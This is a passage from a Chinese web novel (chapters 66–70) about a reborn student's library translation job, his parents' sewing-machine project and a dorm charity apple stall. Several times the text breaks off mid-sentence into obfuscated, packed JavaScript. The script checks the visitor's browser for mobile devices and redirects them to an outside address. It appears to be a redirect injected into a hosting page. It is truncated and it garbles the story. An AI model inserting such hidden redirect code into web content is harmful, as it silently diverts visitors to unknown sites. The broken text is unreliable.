“行,你还真听懂了。” 她走到办公桌后面坐下,抬头看他:“这样吧,以后来图书馆,你帮我翻译资料。一个月四百五,行不行?” 第66章 不去外文系可惜了 工资一下子从九十六涨到四百五,这幅度不是一般的大。 这年头很多厂矿正式工一个月也拿不到四百五——以前韩德富在化肥厂,累死累活也就三百来块。韩学涛一个勤工俭学的学生,每周只去三天,还不是全天,只是下午到晚上那几个小时,收入就超过父亲了。 这钱够他交学费、够他吃饭、够他买书,还能剩。 但说实话,就算不给钱,这活他也愿意干。 冯梅老师是教材编撰项目组的成员。 九五年国家教委启动了“面向二十一世纪教材课程计划”,组织全国百所高校联合编撰高水平教材,覆盖数学、物理、计算机等几十个领域。文件里明确提出,要引进全球前沿学科成果。而且随着“教育管理权下放”的整体改革趋势,各高校获得了教材编写、出版和选用的更大自**。 宁海大学专门成立了教材编撰项目组,冯老师负责前期资料收集整理统合。 所以她手头有全球各地大学的教材、课程录音、视频资料——美国的、英国的、德国的、日本的,还有少量其他语种的。 韩学涛第一次看到那堆资料时,眼睛都直了。 这是聚宝盆啊! 他本质上是爱学习的。父母给他起名“学涛”,就带着这种期望。上一世他能从寒门考进宁海大学,说明底子本来就好。后来在黑道混出千亿身家,也一直没有停止过学习——脑子空空的人,坐不上那个位置。 但那些年学的东西都是零散的、实用的、冲着解决问题去的。再也没有一个完整的时间段,可以心无旁骛地吸收系统知识。 现在这个机会摆在面前,他怎么可能放过? 别说给钱,让他花钱他都愿意。 冯老师对韩学涛也特别满意。 这工作需要翻译大量外文材料,听大量外文视频和课程录音。她一个人根本忙不过来。这年头外文人才本来就稀缺,哪怕在宁海大学也不例外——别说是学生,绝大多数老师英文都不过关。 她从外语系找过几个新生,试了试,都差着火候。外语系的老生倒是有水平高的,但人家根本不愿意来勤工俭学,天天忙着考托福、准备出国,谁有空干这个? 冯老师头疼了挺长时间。 所以李曼推荐韩学涛时,她想到那个在四楼借外文书最多的名字,想着让他来试试。不然根本不会同意。 没想到挖到宝了。 韩学涛太好用了。英文文献阅读速度快,准确率高。刚开始有些专业名词不懂,查过一次就记住,后面效率越来越高。听力也好——那些磁带有些质量不行,声音模糊,有些老师带着各种口音,冯老师自己听着都费劲,韩学涛却能听懂。 一个人顶十个人用。 四百五花得太值了。 工作空隙,冯老师递给他一块巧克力,随口问:“学涛,你这英文不去外文系,可惜了呀。” 韩学涛也不客气,接过巧克力,撕开就吃:“老师,我第一志愿报的就是外文系。分不够,调剂到地质系的。” 冯老师一脸惋惜:“那你还想不想去外文系?我帮你想想办法。” 韩学涛想了想,摇头:“算了。我们专业本来人就少,我再走了更没人了。而且就因为这个专业,系主任才给我报的特困生。” 冯老师问:“你学什么专业的?” “地图测绘与遥感。” 冯老师眉头皱起来:“那个破专业有什么好学的?你要是愿意,我帮你换到外文系。太热门的专业估计进不去,但小语种没问题——韩语、阿拉伯语、马来语,都行。” 她是真起了爱才之心,不想韩学涛这块璞玉陷在地质系那个烂粪坑里。 韩学涛却摇头:“谢谢冯老师。我对地质专业还挺感兴趣的。” 接着,他又补充了一句:“而且语言的话,我觉得英语和西班牙语够用了。” 冯老师一愣:“你还会西班牙语?” “略懂一点。” 韩学涛这么说,是想增加自己在冯老师心中的分量。这兼职他想干久一点,最好能把项目组所有资料都过一遍——相当于不出国就学到国外大学的课程,这便宜不占白不占。 果然冯老师立刻来劲了:“我这有一份巴塞罗那大学的西语资料,你来看看!” 半个小时后,冯老师彻底服了。 宁海大学西语能达到这个水平的,除了一个巴西来的外教,找不出第二个。而学校是不可能指挥得动外教干这些活的。 她看着韩学涛,就像贾母在看贾宝玉。 “明天我就去找杜校长,”她说,“让你正式加入项目组。再给你申请一份项目补助。” 周末回家,韩学涛把图书馆兼职的事儿跟父母一说,老两口高兴坏了。 “一个月四百五?”韩德富瞪大眼睛,“就你每周去三天?” 赵秀荣在旁边掰着指头算:“三天就四百五,那要是天天去,不得上千了?” 韩学涛笑了:“妈,你想多了。这是翻译资料的活儿,不是按天算的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428345|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>但不管怎么说,一个月四百五,儿子靠这份勤工俭学就把自己学费挣出来了。而且还是帮着老师编教材——这说出去多有面子? 老两口心里那个自豪啊。 谁家孩子能这样?从高考到大学,没让父母操一点儿心,连学费都自己解决了,还帮着家里解决了不少困难。 这么一比,他们当父母的,反而差远了。 韩德富沉默了一会儿,开口说:“学涛,你上次那个电动缝纫机的改进,我想了三个地方。回头你再问问你们老师,看还要怎么改。” 韩学涛眼睛一亮:“爸,你想好了?” 韩德富点点头,从抽屉里翻出一个本子,翻到某一页,指着上面画的草图: “第一个,电机。原装那个串激电机功率小,吃厚料的时候容易闷车。我想换成交流伺服电机,低速扭矩大,调速也精准,缝厚布、牛仔裤那种料子不费劲。” 他翻到下一页:“第二个,润滑。老式缝纫机用的黄油,时间长了固化,该清理干净,换合成润滑脂。针杆和梭床的间隙也得调,能降噪音,减少跳线。” “第三个,灯光。”他指着缝纫机上方,“原装那个灯泡,又暗又发热。我想换成高亮的那种——叫什么来着,LED?听说是冷光源,不烫手,照得还清楚。” 韩学涛听着,心里觉得靠谱。 这些改进思路,放在后世都是标配。但在九六年,能想到这些,说明父亲是真下了功夫。 “行,”他说,“我回去问问老师。如果可以,爸你就做一台试试。” 赵秀荣在旁边等不及了,拉着儿子往缝纫机那边走:“学涛,你过来看看我的。” 缝纫机旁边放着一叠布料,都是她这些天做的样品。韩学涛拿起来看了看,有锁边的,有绣花的,有做装饰线迹的。花样挺复杂,但做出来确实漂亮,跟图书馆那本书上的图一模一样。 赵秀荣又从抽屉里拿出一个本子,翻开来:“这是我记的工艺流程。每一步怎么做,参数怎么调,都写下来了。” 韩学涛翻了翻,密密麻麻好几页,字迹工整,步骤清晰。 “妈,你这是把说明书都写出来了?” 赵秀荣有点不好意思:“我怕忘了,就一边做一边记。你们老师要是觉得行,就拿去用。要是不行,我再改。” 韩学涛把那叠布料和本子收起来:“行,妈,你接着弄。我回去问老师。如果可以的话,不仅解决我们老师的问题,你们也有事做了。” 第67章 405寝室的联谊活动 从家里回来,韩学涛心里一直装着那台缝纫机的事。 当初跟父母说是学校老师安排的任务,纯粹是找个由头。但现在他有点想真的去找相关老师咨询一下了。父亲虽然懂技术,但毕竟没受过高等教育,有懂行的人指点,能少走不少弯路。 不过纺织工程那边的老师,他一个都不认识,隔着系也不好贸然上门。 他想了想,去了图书馆。 冯梅老师见他过来,抬头笑了笑:“来了?今天有批新到的资料,正好你帮我看看。” 韩学涛没急着接话,等她忙完手头的事,才开口:“冯老师,有个事想请您帮忙。” 冯老师看他一眼:“说。” 韩学涛把情况简单说了一遍——家里有个缝纫机改装的活儿,父母在帮着做,但有些技术拿不准,想找个懂行的人指点一下。他自己不认识纺织工程那边的老师,想请冯老师帮忙问问。 冯老师听完,伸出手:“东西呢?拿来看看。” 韩学涛把母亲记的那个小本子和做的那叠样品递过去。 冯老师翻了翻本子,又拿起样品看了看线迹,眉头微微挑起来:“这活儿做得挺细啊。你父母以前干过这行?” “以前在厂里做技术岗。” 冯老师点点头,把东西收好:“你放我这儿,我去帮你问问。” 韩学涛正要道谢,冯老师忽然抬头看他一眼,语气认真了几分: “学涛,以后到了社会上,别这么实心眼儿。人家叫你给你就给,到时候技术流出去,你没做出来,人家先做出来了。” 韩学涛愣了一下,有点哭笑不得:“冯老师,我不是信任您么。” 他心想,这里头也没什么尖端技术,赚的无非是市场这几年的快钱。真要是了不得的东西,他也不会这么冒冒失失往外拿。 但冯老师不这么想。她觉得韩学涛是个老实孩子,怕他吃亏。 “老师也不能都相信。”她说,“老师也是人,只要是人,就不怎么经得起考验。” 她顿了顿,语气缓下来:“至于我——我是要脸的。而且拿了你的东西,我不是去问别人,是问我先生。你等着吧,回头问好了我告诉你。” 韩学涛这才知道,冯老师的丈夫搞纺织机械出身,专做机电一体化,拿过全国“八五”科技攻关先进个人,在纺织机械与电子技术融合这块,是国内最年轻的一批专家。 他这还真是歪打正着。 不到一周,冯老师就把本子还给他了。 除了父母原来那个本子,还多了一个笔记本。翻开一看,只有三页纸,但每一页都写得密密麻麻——技术要点、参数调整、材料选型,甚至还画了一张简要的改装示意图。 韩学涛翻着那几页纸,心里有点过意不去——这肯定是废了不少时间! “冯老师,替我谢谢您先生。做得这么细,太麻烦了。” 冯老师摆摆手:“没事。我先生说,你们这个改进缝纫机的想法,对他也有点启发,还让我谢谢你呢。” 韩学涛更不好意思了:“那可不敢当。” “别客气了。”冯老师说,“以后这方面再有什么问题,还来问我,我还拿去找他。” 韩学涛点点头,把那两本笔记收好。 这忙得好好记着,以后冯老师那边的事,得更上心才是。 405寝室打来电话,邀请203一起联谊。 上次在香满园吃饭,是203男生买的单。这次女生说了,由她们来安排。不过具体吃什么、干什么,要看活动的情况。 关子卖得挺大,203这边有点心痒痒了。 于鑫第一个凑到小白跟前:“小白,她们到底要干嘛呀?弄得神神秘秘的。” 小白摇头:“我也不知道。许秋口风紧得很,我问了好几次,她都不说。” 赵江靠在床上,随口分析:“这种联谊,无非就是爬山、唱K、蹦迪,或者一起运动运动,打打球、游游泳什么的。还能搞出什么花样?” 于鑫瞪大了眼睛:“**,不愧是有女朋友的人,一上来就想着游泳!如果是游泳,我不吃饭都行!”说着话,他哈喇子都快流出来了。 小白推了推眼镜:“我猜可能是去博物馆。最近宁海博物馆在搞一个民国展,许秋跟我说了好几次。” 于鑫立刻泄了气:“那有啥意思?一堆旧东西,看一整天,腿都站断了。” 小巴在旁边插嘴:“你们怎么就没想起问问强哥呢?他最近不是跟405的徐爽**火热?” 大家的目光齐刷刷转向楚强。 楚强面无表情,开口说:“男的不要总是向女的问来问去的,显得沉不住气。女人会看不起你的。爱干啥就干啥,无所谓。” 小巴一脸佩服:“强哥语录来了,我得拿本子记下来。” 老谢哈哈一笑:“大家别忘了,上次聚会之后,女生留了伏笔,说这次要我们出力气。我琢磨着,还是得跟体力有关系。” 于鑫说:“不会是像政管系那样,去敬老院当义工吧?” 李靖插嘴:“哎,你别说,还真有可能。高洋跟我透露过一点,说跟她们的社会实践有关系。” 老谢愣了:“经管系大一就有社会实践了?咱们地质系到大三才跑野外!” 韩学涛笑着接了一句:“那能一样吗?赚钱不嫌早。” 还真让他说中了。 405女生约这次活动,就是去卖东西。 算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428346|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经管系的一次社会实践。当然,这种实践没有强制要求,一般也是针对大三以后的学生设置的。而且即便大学四年不做任何社会实践,也不影响毕业。 但405寝室不一样。展雪和孙婷婷都是这一届学生会的副部长,到了大二要竞选各部部长,甚至学生会会长、副会长,必须表现积极。所以她们争取了这次社会实践的名额。 具体来说,是助农卖水果。 周末一早,203寝室按约定赶到女生指定的地方。 一到那儿,他们都愣住了。 宁海商贸街东头,紧挨着步行街入口的一块空地上,堆满了东西。折叠桌、遮阳伞、塑料凳、电子秤、包装纸、纸袋、胶带、马克笔、价格牌……零零散散摆了一地,像个小型的物资集散地。 但最引人注目的是空地边上停着的那辆车——一辆中型货车,车厢敞开,里面码着整整齐齐的纸箱,摞得满满当当。 透过最上面那层半开的箱盖,能看见红彤彤的苹果,一个挨一个,挤得密不透风。 “**。”于鑫站在那儿,半天没动,“这一车苹果,她们怎么弄过来的?” 李靖也在发愣:“还有这地儿,商贸街啊,能随便摆摊?” 正嘀咕着,高洋的声音从远处飘过来:“哎——这边!快过来!” 几个女生已经在了。许秋、周兰、胡荔荔,还有两个不认识的,正蹲在地上清点东西。看见203的人到了,高洋站起来拍拍手,一叠声地吩咐:“先把摊子支起来,然后去几个人到车上搬苹果。卖多少搬多少,别一次性全搬完,卖不完的还要拉走的。” 李靖凑过去问高洋:“这苹果从哪儿弄来的?” 高洋解释:“今年庆阳红富士滞销,产量太大,卖不出去。学校跟兰大那边一起策划了这次助农活动,算是两校相关专业的一次共同社会实践。” 正说着,其他女生陆续到了。 展雪、孙婷婷、徐爽、袁圆,一个个都换了统一的服装——运动鞋,白色长裤,红色T恤,头上戴着印有“宁海大学”标志的棒球帽。红白相间,干净利落,往那儿一站,青春洋溢。 203几个男生看得有点发愣。 405寝室这几个女生,跳小天鹅的时候个个身材都好,现在换上这身装扮,又是另一种感觉。 最漂亮的还是展雪。 她个子高挑,五官精致,红色T恤衬得皮肤很白。棒球帽压着头发,露出一截下颌线,整个人站在那儿,跟其他女生比,多了一种说不出的气场。 她扫了一眼地上的东西,又看了看那车苹果,开口说:“男生先把摊子支起来,然后去换衣服。一个小时后,我们准时营业。” 第68章 我们寝室女生,你随便挑一个当女朋友 男女搭配,干活不累。摊子还没支起来,一对对组合就自然凑到了一起。 韩学涛和李靖跟展雪、高洋一组,负责撑遮阳伞、摆桌子、码东西。四个人围着那把大伞捣鼓了半天,才把伞骨撑开。 李靖拧着螺丝,随口问高洋:“这些苹果卖了,赚的钱算你们的?” 高洋翻了个白眼:“我们是助农,又不是吃农。” 展雪在旁边搭话:“有个底价。超过底价的部分算我们的。” 韩学涛问:“底价多少?” “两块钱一斤。” 韩学涛手上动作一停:“那这个价格有点高了。” 昨天晚上他把冯老师给的资料拿回家,母亲给他装了一大兜苹果带回寝室,说今年苹果特别便宜。往年卖两块五的,今年才卖一块二,品种还比以前的好。 展雪接过话头:“前几年苹果供不应求,价格高,全国到处都在种。系里发的资料上说,今年全国苹果种植面积超过四千万亩,达到历史最高。光庆阳的红富士就有十八万吨。批发价已经跌到五**,量大还能再降。” 她笑了笑:“两块钱的底价确实高。不过我们也没打算真靠这个赚钱。寝室商量好了,就按底价卖,能卖多少算多少。反正是帮农民。” 李靖安慰说:“别担心,我们尽量卖。说不定生意好,一整车都卖了呢。” 展雪和高洋都笑了。 高洋看着李靖:“看不出来,你还挺善良的嘛。” 李靖挠挠头:“我不是随口安慰你们。你们准备得这么充分,这边位置也好,说不定真能卖出去。”他压低声音,“对了,这边怎么允许你们摆摊的?” 高洋说:“孙婷婷找了家里的关系,让我们在这儿待两天。” 她又指指那些遮阳伞、桌子和服装:“这些物料是展雪找人弄来的,没让我们花钱。” 韩学涛心里微微一动。 孙婷婷的父亲是东林财政局局长,竟然能在宁海商贸街说得上话,能量不小。难怪当年周承想尽办法也要追她。 至于展雪弄来的这些东西——遮阳伞、折叠桌、电子秤、包装纸、印着校徽的棒球帽,还有那几套红T恤白裤子,看起来都是新的。如果全买下来,也是一笔不小的开支。一般家庭不会舍得拿这笔钱出来给子女搞这些。 他没接话,继续撑伞。 摊子很快支了起来。遮阳伞撑开,桌子摆齐,苹果按大小分成几堆码在桌上,旁边立着价格牌。印着“宁海大学”字样的帽子、红蓝T恤往身上一套,男女生站在一起,蓝的蓝,红的红,虽然男生裤子不统一,但远远看去也像那么回事。 十点整,正式开卖。 刚开始大家都有点放不开,站在摊位后面,嘴张不开,手抬不起。但韩学涛和于鑫两个人一开口,气氛很快就变了。 韩学涛站在摊位最前面,脸上带着笑,声音不高不低,却正好能让路过的人听见:“庆阳红富士,又甜又脆,过来看看!” 他长得帅,笑起来更好看,站在那儿不扭捏不做作,跟拉家常似的。没过一会儿,展雪也站到他身边,跟着一起招呼。俊男美女往摊位前一站,路过的人不自觉地就慢下脚步,多看两眼。 于鑫这家伙天生脸皮厚。T恤穿在身上松松垮垮,棒球帽歪戴着,往摊位前一站,形象虽然拉胯,但张嘴可是一套一套的: “我的苹果红彤彤,咬一口脆生生,不打蜡不催熟,树上自然红到心。甜得像初恋,脆得像青春,咬一口,忘不掉,保准回头还来称!” 他嗓门大,调子又怪,跟说快板似的,路过的人忍不住笑,停下来看热闹。 他也不怯场,还要拉女生跟他一起喊:“胡荔荔、周兰,你们别光站着!我一个清纯男生都放下尊严了,你们搞社会实践的,怎么还缩后头?赶紧出来喊!” 胡荔荔被推出来,红着脸跟着喊了几句,但死活不肯学于鑫那套词。周兰也跟着吆喝了几声,声音不大,不过总算迈出了第一步。 袁圆躲在后头,怎么都不肯出去:“我负责装袋称重,这个适合我!” 于鑫又去拉李靖和高洋。 李靖倒是爽快,拉着高洋就站到摊位前面。高洋刚开始还有点不好意思,喊了几声也就放开了。于鑫又想拉楚强和徐爽,楚强摆摆手:“我脸臭,别把人吓跑了,我在后面干体力活。”徐爽也笑着推辞:“你们先喊,一会儿谁累了要喝水,我上去替。” 许秋在旁边提议轮班:“半个小时一波,一会儿我和小白替你们下来休息。” 老谢看了一圈:“没准备水?我和楚强去买两箱。” 这样一来,大家都有活干了。只有孙婷婷一直没说话,坐在收银的位置上,面前摆着本子和零钱袋,把纸币按面额分类码好,硬币摞成一摞,一看就是要负责收银的。 大家轮番上阵,累了就下来换人。折腾了两个多小时,眼看到了中午,路过的人倒是不少,围着摊子看热闹的也多,可苹果没卖出多少。 女生们坐回座位上,都有点泄气。 孙婷婷翻着本子:“一上午才卖了三十四斤。” 展雪叹气:“价格还是太贵了。有好几个人听说是助农,过来问,本来挺想买的,一听价格都吓跑了。” 胡荔荔气得直哼哼:“那算好的了。有个老太太,我报了价格,她扭头就走,嘴里还骂我。” 袁圆说:“可咱们已经是按底价卖了。” 徐爽说:“底价也高。刚才楚强和老谢去那边水果店看了,店里最贵的才一块五,品相看着比咱们的还好。” 许秋靠着桌子,歪头说:“按这个价格,别说五百斤,一百斤都未必卖得到。” 展雪说:“那大家想想办法呗,有没有什么招?” 几个女生七嘴八舌说了一通,谁也没拿出个主意。 孙婷婷说:“我建议去宁海各大机关院校推销。反正我们是助农,别人也不好赶我们走。” 没人接话。意思很明显——都不太愿意。 过了一会儿,徐爽试探着说:“要不降降价?学校给我们的底价明显高了。人家店里最贵才卖一块五,凭什么要我们按两块卖?助农也不能为难人吧。” 许秋跟着点头:“这么高的价格卖不出去,对农民能有什么帮助?” 胡荔荔接上说:“是啊,能卖出去才算助农。卖不出去,烂在车里就是浪费。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428347|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>展雪摇头:“两块钱是学校和当地对接的收购价。就算卖不掉,这车苹果拉回去,学校还是按两块钱跟农民结算。就当发给教职员工的福利了。” 高洋说:“学校买了不止一车,说不定过几天学生食堂就能看到。” 孙婷婷把话收住:“所以不能低于两块钱。否则我们自己掏差价补贴农民。” 女生们没招了,目光转向203的男生。 “你们有什么办法没?” 楚强面无表情:“我们是地质系的。” 一句话就把几个女生堵了回去。 胡荔荔转头问于鑫:“三金,你不是挺能吆喝的吗?想个招呗。” 于鑫眨了眨眼:“这不是明摆着的么,我们最大的优势,你们没发现?” “什么?” “就是你们,美女啊!”于鑫摊开手,“外形靓丽,青春活泼,哪是水果店的半老徐娘能比的?用美人计啊!” 好几双眼睛同时喷出火来。 其他人说了几句,也拿不出个像样的主意。 李靖在旁边摆出一副“你们咋说我咋干”的架势,干脆不吭声。 孙婷婷扫了一圈,目光从韩学涛脸上掠过,却没叫他,而是看向老谢:“老谢,你是学生会生活部的,有没有什么建议?” 老谢笑了笑:“价格贵,那就腿来凑。要不女生在这儿坐着,我们男生辛苦点,往附近居民区跑跑,上门推销。有些不愿出门的,看我们送货上门,说不定就买了。多卖一斤算一斤。” 这话一出,好几个男生面露难色。 小白和小巴尤其明显,一副不太情愿的样子。 展雪忽然转向韩学涛:“韩学涛,你会吉他弹唱,要不我弄把吉他来,你在这儿唱几首,说不定能增加销量。” 好几个女生跟着叫好。 韩学涛摆摆手:“没用的。现在缺的不是人气,是你们的定价策略不对。” 孙婷婷有点故意顶他:“说了不能降价,你刚才耳朵开小差了吗?” 韩学涛看着她一眼,淡淡说道:“你们不是卖贵了,是卖便宜了。” “啊?”所有人都愣住了。 “我们身上穿的衣服,头上戴的帽子,撑的伞,摆的桌子,用的包装袋、电子秤——哪样不要钱?还有我们的人力,这儿的场地,那辆车的油钱,不都是成本?”韩学涛说,“你们按成本价卖,这些就全是净亏损。经贸系的社会实践,就是让你们实践怎么亏钱的?亏钱需要实践吗?谁不会啊?” 女生们被他说懵了,面面相觑。 展雪第一个反应过来:“两块钱的价格都已经贵了,你还想卖多少?” “少于四块一斤,我觉得没什么意义。” “啥?”于鑫差点把嘴里的水喷出来。 “四块?”胡荔荔瞪大了眼。 “韩学涛你疯了?”许秋也忍不住出声。 而孙婷婷似乎被这话气到了,一下子站起来:“韩学涛,这话可是你说的。这样,如果这些苹果...你能四块钱一斤卖出去超过五百斤,我——” 她顿了顿,看了眼四周,一咬牙:“我.......我们寝室女生,包括我在内,你随便挑一个当女朋友。” 第69章 按我的办法来 孙婷婷那句话扔出来,场面没有哗然,反而是诡异地安静了。 就像飞过来一块天外陨石,把所有人都砸懵了。 203的男生和405的女生们,一个个瞠目结舌。 绝大多数人的目光都震惊地钉在孙婷婷身上,也有几个人,视线偷偷转向韩学涛。 展雪看了他一眼,又移开。 她想起新生汇演那天晚上,台上灯光亮起来,他坐在那里弹吉他,唱一首她从没听过的歌。她光着脚上去伴舞,跳得那么投入,连自己都觉得意外。 那个晚上回到寝室,她躺在床上很久没睡着。心跳不是剧烈的那种,是某种很轻很慢的、像是琴弦被拨动之后久久不散的余震。 后来她到处找那首歌,问文艺部的人,问广播站的人,谁都不知道。更可惜的是,那晚的录像不知道被谁拿走了,找都找不回来。 刚才她提议让韩学涛弹唱,其实是想再听一遍。 哪怕不是那首歌,什么都好。 所以此刻,当孙婷婷说出那句话的时候,展雪的目光立刻在韩学涛脸上停了一瞬。她想知道他会怎么反应。会尴尬?会推辞?会接下这个赌? 她无意识地攥紧了手中的矿泉水。 而在展雪身后两步的地方,袁圆的视线也落在了同一个方向。 她想起的是图书馆四楼的那个晚上,想起韩学涛手里那本英文书。 当时她瞥了一眼封面,默默记住了书名。 后来她专门去图书馆借了那本书。翻开第一页,她就愣住了。 那不是文学,不是科普,而是一本经济学著作,讲什么“小即是美”,读得很吃力。一页要翻好几次字典,读到第三章就放弃了,但那种震惊留了下来。 一个地质系的大一新生,在图书馆看这种书? 所以刚才,当韩学涛说出“你们不是卖贵了,是卖便宜了”的时候,袁圆的脑子里几乎是条件反射地想起了那本书,心跳快了半拍——不是因为他长得帅,而是因为那种“也许他真的知道自己在说什么”的感觉。 她的目光越过展雪的肩膀,落在韩学涛的侧脸上,带着一种近乎审视的好奇。 许秋也在看韩学涛。 但她想起的,是英语角。 那个在教室模拟的咖啡店里,戴维挑衅似的说了一长串英语,而韩学涛开口,那流利的美式英语不留情面地把戴维给震住了。 说实在的,在这之前,韩学涛在她眼里就是一个长得帅气的男生,跟展雪一起主持新生汇演,站在台上不怯场,看起来挺养眼,仅此而已。地质系的,特困生,跟她不是一个世界的人。 但英语角那天之后,她开始留意他了,有意无意地在展雪和孙婷婷面前提起他,想从她们那里套出点什么。可她很快发现,展雪和孙婷婷对韩学涛的了解,并不比她多多少。 尤其是他的英语——她试探过两次,发现展雪完全不知道,孙婷婷也没听过。这个信息差让她心里生出一种微妙的感受。像是无意间捡到了一把钥匙,虽然还不知道那扇门后面是什么,但她拥有别人没有的东西。 现在孙婷婷说出这种话,她觉得唐突,但并没有生气。相反她看见韩学涛脸上那个错愕的表情——眉头微微皱着,嘴唇动了动又闭上——她差点笑出声来。 他现在应该也是懵的吧? 这个认知让她莫名地觉得愉快。 韩学涛确实有点懵—— 这孙婷婷的脑回路是不是不太正常? 你们是大学女生寝室,又不是夜总会,公主随便我点? 他张了张嘴,还没来得及说话,于鑫先炸了。 “**!” 于鑫像被电了一样弹起来,一把搂住韩学涛的肩膀:“涛哥!咱不能怂!有她们这句话,兄弟我挺你到底!” 他越说越兴奋,眼珠子转了一圈,验货似地在405的女生脸上挨个扫过去:“除了那个……强哥的徐爽之外,剩下的你挑!实在挑不出来也别浪费,兄弟们帮你接着……” 话没说完,犯了众怒。 “于鑫!!!” 徐爽第一个不干了,脸涨得通红,抄起手边一个苹果就砸了过来。 于鑫一侧身,苹果擦着肩膀飞过去,砸在后面的纸箱上,咚的一声。 但这还没完。 “于鑫你找死啊!”胡荔荔第二个扑上来,手里的价格牌往他身上招呼。高洋跟着加入战团,两个女生的拳头噼里啪啦落在于鑫背上,力道不大,但声势惊人。 于鑫一边躲一边喊:“关我什么事?是你们寝室自己说的啊!” 孙婷婷在旁边,被气得浑身发抖。 她知道自己说错话,已经在后悔了,正没台阶下,于鑫又来了这么一出,相当于把她的尴尬放大了十倍,抓起桌上的铅笔,恨恨地瞪着于鑫:“信不信我戳死你!” 而此时展雪也拧开矿泉水,面无表情地朝于鑫走过去:“发高烧说胡话是吧?我泼你一瓶水,让你清醒清醒!” 这话听起来是冲于鑫去的,但在场的人都听得出来——她在怼于鑫的同时,也捎带着孙婷婷。 韩学涛实在看不下去了,伸手拦住展雪,说:“好了好了。” 他把于鑫推到一边,转身看着所有人:“我说卖四块钱一斤不是跟你们开玩笑。既然话说到这份上,下面就按我的方法来。” 他目光扫过孙婷婷,笑了笑:“同学之间开玩笑是乐趣,谁往心里去,谁就输了。要是真觉得打赌好玩,晚上聚餐的时候,405的女生集体敬我一杯酒,叫我一声涛哥,敢不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女生们愣了几秒,也开始动起来。展雪把价格牌和零钱袋收进包里,高洋和胡荔荔把桌上的杂物清理干净,孙婷婷坐在收银台后面没动,但眼睛一直跟着韩学涛转。 不到二十分钟,于鑫和老谢就回来了。透明包装纸买了五卷,卡纸买了整整一沓,红色缎带一卷,还剩下的钱,果真买了两大袋面包。 韩学涛接过东西看了看,点点头:“可以了。大家赶紧吃两口面包垫垫,下午应该会很忙。” 两袋面包在一群饿狼手里瞬间消失,谁也没心思细嚼慢咽,囫囵吞了两口就说开始干。 韩学涛把手上的面包屑拍掉,开始分派具体任务。 “男生继续挑苹果,按品相分成两堆——好的和一般的。好的用来包,一般的先放着。” “女生把卡纸裁成小卡片,比扑克牌稍微小一点就行。包装纸也按张裁好,每张能包住一个苹果的大小。” 他说着,目光扫了一圈,落在周晓白身上。 “小白,你来写诗。” 第70章 一块钱一个 小白愣了一下,眼镜后面的眼睛眨了眨:“写什么诗?” “三首。主题分别是——逢考必中、父母欣慰、收获爱情。”韩学涛顿了顿,“要短,一张卡纸能写下,这是你的强项。” 小白没推辞,从口袋里掏出随身带的小本子和笔——这是他的习惯,随时记录灵感的——走到离人群十来米远的地方,蹲在几箱苹果后面,埋头开始写。 众人继续干活。男生那边,楚强和李靖负责从箱子里往外拿苹果,韩学涛和小巴负责分拣,于鑫负责把挑好的苹果运到桌上。老谢在旁边搭手,偶尔递个空箱子过去。 女生那边,展雪和孙婷婷负责裁卡纸——一张大卡纸对折再对折,用小刀裁成十六张小卡片,码得整整齐齐。高洋和胡荔荔裁包装纸,袁圆和周兰负责把裁好的卡片和包装纸分类放好。徐爽和许秋收拾出一个干净的桌面,等着下一步工序。 整个摊子安静了大概二十分钟,只有裁纸的沙沙声和苹果碰撞的闷响。 然后小白回来了。 他走过来的脚步有点慢,像是还在脑子里过了最后一遍。到了跟前,他把本子递过去,没说话。 韩学涛接过来看了一眼,然后笑了。 其他人围上来,脑袋凑在一起,看小白写了什么。 女生那边看完,统一“哇”了一声。 男生这边直白多了,一片“**!” 韩学涛笑着把本子还给他,说:“谁字写得好?把这三首诗抄到卡片上。一个苹果一张卡,然后用包装纸包好,系上缎带。” 展雪第一个反应过来,看向韩学涛:“你打算按个卖?” “对。” 孙婷婷问:“多少钱一个?” 韩学涛说:“一块。” ...... 下午的阳光斜斜地打在商贸街上,人流比上午稠密了不少。 宁海商贸街的人流是一茬接一茬的,上午经过的人下午一般不会再来。所以当他们把单个苹果摆出来卖的时候,倒不用担心被上午的顾客撞见说他们是骗子。 但大家心里还是犯嘀咕——这样真能行吗? 高洋站在旁边,手里攥着一个包好的苹果,翻来覆去地看,“一块钱一个……上午两块钱一斤的东西,现在卖一块钱一个?一斤差不多是四个......” 她没说完的话大家都听得出来——一块钱一个,一斤差不多四块,价格翻倍,顾客能接受吗? 